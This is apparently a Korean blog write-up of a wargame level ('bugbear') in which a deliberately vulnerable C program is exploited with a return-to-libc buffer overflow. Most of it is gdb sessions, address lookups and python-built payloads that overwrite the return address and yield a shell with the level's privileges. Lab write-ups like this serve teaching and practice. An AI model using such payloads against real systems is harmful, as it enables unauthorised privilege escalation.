BOF 원정대 – Level 13 (bugbear)

문제 소스는 아래와 같습니다.

/*
 The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
 char buffer[40];
 int i;

 if(argc < 2){
 printf(argv error\n);
 exit(0);
 }

 if(argv[1][47] == '\xbf')
 {
 printf(stack betrayed you!!\n);
 exit(0);
 }

 strcpy(buffer, argv[1]); 
 printf(%s\n, buffer);
}

이번 문제는 RTL 문제 입니다. 풀이 방법은 다양하지만 공격은 아래와 같이 해볼 예정입니다.

[A*44] + [system() 함수 주소] + [JUNK 4 Byte] + [/bin/sh 문자열 주소]

우선 system() 함수 주소를 확인해 보도록 하겠습니다.

[darkknight@localhost darkknight]$ gdb bugbear_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /home/darkknight/bugbear_tmp 

Breakpoint 1, 0x8048436 in main ()
(gdb) x/x system
0x40058ae0 <__libc_system>: 0x81e58955
(gdb) 

system() 함수 주소는 0x40058ae0 입니다. 다음으로 /bin/sh 문자열을 환경변수에 등록 후 주소를 확인해 보도록 하겠습니다.

[darkknight@localhost darkknight]$ export SH=/bin/sh
[darkknight@localhost darkknight]$ gdb bugbear_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /home/darkknight/bugbear_tmp 

Breakpoint 1, 0x8048436 in main ()
(gdb) x/s $esp
0xbffffabc: 4\002@p(gdb) 
0xbffffac7: @[\205\017@H\225\004\b`(gdb) 
0xbffffad3: @4e\204\004\b4\225\004\bH\225\004\b\b\t\003@\001
(gdb) 
.
.
.
[생략]
.
.
.
(gdb) 
0xbffffc2b: /home/darkknight/bugbear_tmp
(gdb) 
0xbffffc48: PWD=/home/darkknight
(gdb) 
0xbffffc5d: REMOTEHOST=192.168.37.1
(gdb) 
0xbffffc75: HOSTNAME=localhost.localdomain
(gdb) 
0xbffffc94: LESSOPEN=|/usr/bin/lesspipe.sh %s
(gdb) 
0xbffffcb6: USER=darkknight
(gdb) 
0xbffffcc6: LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01...
(gdb) 
0xbffffd8e: ;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;3...
(gdb) 
0xbffffe56: 5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
(gdb) 
0xbffffe89: MACHTYPE=i386-redhat-linux-gnu
(gdb) 
0xbffffea8: MAIL=/var/spool/mail/darkknight
(gdb) 
0xbffffec8: INPUTRC=/etc/inputrc
(gdb) 
0xbffffedd: BASH_ENV=/home/darkknight/.bashrc
(gdb) 
0xbffffeff: LANG=en_US
(gdb) 
0xbfffff0a: SH=/bin/sh
(gdb) 
0xbfffff15: LOGNAME=darkknight
(gdb) x/s 0xbfffff0a
0xbfffff0a: SH=/bin/sh
(gdb) x/s 0xbfffff0d
0xbfffff0d: /bin/sh

/bin/sh 주소는 0xbfffff0d 로 확인되었습니다. 이제 공격을 해보도록 하겠습니다.

[darkknight@localhost darkknight]$ gdb bugbear_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: sub $0x2c,%esp
0x8048436 <main+6>: cmpl $0x1,0x8(%ebp)
0x804843a <main+10>: jg 0x8048453 <main+35>
0x804843c <main+12>: push $0x8048500
0x8048441 <main+17>: call 0x8048350 <printf>
0x8048446 <main+22>: add $0x4,%esp
0x8048449 <main+25>: push $0x0
0x804844b <main+27>: call 0x8048360 <exit>
0x8048450 <main+32>: add $0x4,%esp
0x8048453 <main+35>: mov 0xc(%ebp),%eax
0x8048456 <main+38>: add $0x4,%eax
0x8048459 <main+41>: mov (%eax),%edx
0x804845b <main+43>: add $0x2f,%edx
0x804845e <main+46>: cmpb $0xbf,(%edx)
0x8048461 <main+49>: jne 0x8048480 <main+80>
0x8048463 <main+51>: push $0x804850c
0x8048468 <main+56>: call 0x8048350 <printf>
0x804846d <main+61>: add $0x4,%esp
0x8048470 <main+64>: push $0x0
0x8048472 <main+66>: call 0x8048360 <exit>
0x8048477 <main+71>: add $0x4,%esp
0x804847a <main+74>: lea 0x0(%esi),%esi
0x8048480 <main+80>: mov 0xc(%ebp),%eax
0x8048483 <main+83>: add $0x4,%eax
0x8048486 <main+86>: mov (%eax),%edx
0x8048488 <main+88>: push %edx
0x8048489 <main+89>: lea 0xffffffd8(%ebp),%eax
0x804848c <main+92>: push %eax
0x804848d <main+93>: call 0x8048370 <strcpy>
0x8048492 <main+98>: add $0x8,%esp
0x8048495 <main+101>: lea 0xffffffd8(%ebp),%eax
0x8048498 <main+104>: push %eax
0x8048499 <main+105>: push $0x8048522
0x804849e <main+110>: call 0x8048350 <printf>
0x80484a3 <main+115>: add $0x8,%esp
0x80484a6 <main+118>: leave 
0x80484a7 <main+119>: ret 
---Type <return> to continue, or q <return> to quit---
0x80484a8 <main+120>: nop 
0x80484a9 <main+121>: nop 
0x80484aa <main+122>: nop 
0x80484ab <main+123>: nop 
0x80484ac <main+124>: nop 
0x80484ad <main+125>: nop 
0x80484ae <main+126>: nop 
0x80484af <main+127>: nop 
End of assembler dump.
(gdb) b *main+119
Breakpoint 1 at 0x80484a7
(gdb) r `python -c print 'A'*44 + '\xe0\x8a\x05\x40' + 'BBBB' + '\x0d\xff\xff\xbf'` 
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/darkknight/bugbear_tmp `python -c print 'A'*44 + '\xe0\x8a\x05\x40' + 'BBBB' + '\x0d\xff\xff\xbf'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Breakpoint 1, 0x80484a7 in main ()
(gdb) x/32wx $esp
0xbffffaac: 0x40058ae0 0x42424242 0xbfffff0d 0xbffffb00
0xbffffabc: 0x40013868 0x00000002 0x08048380 0x00000000
0xbffffacc: 0x080483a1 0x08048430 0x00000002 0xbffffaf4
0xbffffadc: 0x080482e0 0x080484dc 0x4000ae60 0xbffffaec
0xbffffaec: 0x40013e90 0x00000002 0xbffffbf2 0xbffffc0f
0xbffffafc: 0x00000000 0xbffffc48 0xbffffc5d 0xbffffc75
0xbffffb0c: 0xbffffc94 0xbffffcb6 0xbffffcc6 0xbffffe89
0xbffffb1c: 0xbffffea8 0xbffffec8 0xbffffedd 0xbffffeff
(gdb) c
Continuing.
bash$ 

쉘이 떨어졌습니다. 이제 gdb에서 나와서 본래 프로그램에 공격을 해보도록 하겠습니다.

[darkknight@localhost darkknight]$ ./bugbear `python -c print 'A'*44 + '\xe0\x8a\x05\x40' + 'BBBB' + '\x0d\xff\xff\xbf'`

sh: _US: command not foundAAAAAAAAAAAAAAAAABBBB
Segmentation fault
[darkknight@localhost darkknight]$ ./bugbear `python -c print 'A'*44 + '\xe0\x8a\x05\x40' + 'BBBB' + '\x11\xff\xff\xbf'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Segmentation fault
[darkknight@localhost darkknight]$ ./bugbear `python -c print 'A'*44 + '\xe0\x8a\x05\x40' + 'BBBB' + '\x13\xff\xff\xbf'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
sh: =/bin/sh: Permission denied
Segmentation fault
[darkknight@localhost darkknight]$ ./bugbear `python -c print 'A'*44 + '\xe0\x8a\x05\x40' + 'BBBB' + '\x14\xff\xff\xbf'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide
bash$ 

본래 프로그램에 공격을 하니 처음 디버깅 할때와의 파일명이 달라 스택 주소가 어긋난 것으로 보입니다. 그래서 조금씩 뒤로 넘기다가 /bin/sh 주소가 나왔을때 쉘이 뜬 것을 확인할 수 있습니다.

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 항목은 *(으)로 표시합니다